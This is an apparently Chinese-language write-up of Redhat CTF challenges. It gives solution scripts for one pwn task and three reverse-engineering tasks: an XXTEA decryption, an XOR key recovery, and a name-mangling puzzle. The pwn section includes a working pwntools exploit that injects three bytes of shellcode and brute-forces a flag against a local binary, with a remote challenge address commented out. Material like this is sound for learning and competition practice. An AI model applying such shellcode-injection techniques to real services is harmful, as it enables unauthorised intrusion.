0%

redhat

0x00 pwn

0x01 three

1573440323504

这个就不算漏洞函数了吧,算是后门函数,让你读三个bit去之后执行这个三个bit如果返回结果正确就就输出1,不然输出二,如果仔细观察内存的话call这个3bit的时候,寄存器的ecx是我们之前tell me输入的buf的指针,正好 asm(mov eax,[ecx],ret) 是三个字节,所以,爆破就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims,drop=True:io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
code = '\x8b\x01\xc3'
io = None
flag = []
for i in range(0x20):
for j in range(30, 128):
try:
io = process('./pwn')
# io=remote("47.104.190.38",12001)
sla('index:\n',str(i))
sa('much!\n',code)
sla('size:\n','2')
sa('Tell me:\n',chr(j))
isright = ru('\n')
io.close()
if isright == '1':
flag.append(chr(j))
break
except:
pass
if chr(j) == '}':
break
print ''.join(flag)

re

0x00 xx

从题目上可以联想到xxtea

1573441291534

关键判断在这了,如果,v20加密之后的字串和v30逐位比较,如果10次比较成功,就会输出 you win ,那么,之后看v20怎么来的就可以了

然后正向看,在sub_140001AB0() 函数里面,魔数 0x61C88647 为xxtea加密,那么,如果想得到明文需要key,那么怎么生成key

用输入的前四位作为key的前4位(前四位肯定是flag。。。当时还寻思着爆破来着2333),高12个字节均为0

1573441847614

然后进行一个下面的操作,就得到了v20,逆向一下,就可以了

1573442276581

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdint.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main()
{
unsigned int key[4] = { 0x67616c66, 0, 0, 0 };
char target[24]={0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35,0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA};
for(int i=23;i>0;i--){
int index = i/3;
if(index > 0){
while (index > 0){
index --;
target[i] ^= target[index];
}
}
}
char s[24]="";
s[2] = target[0];
s[0] = target[1];
s[3] = target[2];
s[1] = target[3];
s[6] = target[4];
s[4] = target[5];
s[7] = target[6];
s[5] = target[7];
s[10] = target[8];
s[8] = target[9];
s[11] = target[10];
s[9] = target[11];
s[14] = target[12];
s[12] = target[13];
s[15] = target[14];
s[13] = target[15];
s[18] = target[16];
s[16] = target[17];
s[19] = target[18];
s[17] = target[19];
s[22] = target[20];
s[20] = target[21];
s[23] = target[22];
s[21] = target[23];
btea((uint32_t*)s, -6, key);
printf("%s\n",s);
}

0x01 easyRE

这个题目有一个坑点,就是,过了main函数这个判断,的到不是flag,而是,看雪版主发的一个主动防御的文章???

1573445711073

其实真正的条件在fini_arrary调用的函数

1573446213053

1573446287560

只要过这个判断就可以了,正常情况是过不了这个条件的,因为v5是个随机数,不可预期,但是由于,puts为flag字串的话,前四位一定为flag,flag字串和byte_6CC0A0的前四位异或,就能的到v8的值,然后再异或输出flag

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
target=[0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
key=[]
flag="flag"
for i in flag:
key.append(ord(i)^target[flag.index(i)])
flag=""
for i in range(0,0x19):
flag+=chr(target[i]^key[i%4])
print flag

0x02 childRE

首先正向分析,根据调试,这一段代码会打乱你的输入,是一个位置互换的的算法,但是不改变的你输入的值,你输入是和互换的位置是没有关系的

1573448182456

然后,再逆向分析

1573448913949

这里求出 output string ,得到output string为private: char __thiscall R0Pxx::My_Aut0_PWN(unsigned char )

得到的长度62,而输入的为31,怎么才能的得到这个呢??

1573449689566

百度了一下这个函数

1573449756676

这个函数是为了防止符号冲突,写成特定的格式,防止冲突,那么,这个可以扩展字串吗,当然,我们可以看到output string为一个函数的声明的格式,所以,我输入31个字节,也是可以的到62个字节的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
str_remainder = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
str_quotient = '55565653255552225565565555243466334653663544426565555525555222'
src = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'

output_string=""
for i in range(len(str_quotient)):
output_string+=chr(src.index(str_remainder[i])+src.index(str_quotient[i])*23)
#private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
str_input = '1234567890abcdefghijklmnopqstuv'
str_encode = 'fg8hi94jk0lma52nobpqc6stduve731'
flag = []
#?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z

encode_input = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
decode_input=""
for i in range(len(encode_input)):
decode_input+=encode_input[str_encode.index(str_input[i])]
print decode_input

最后flag就是decode_input的md5值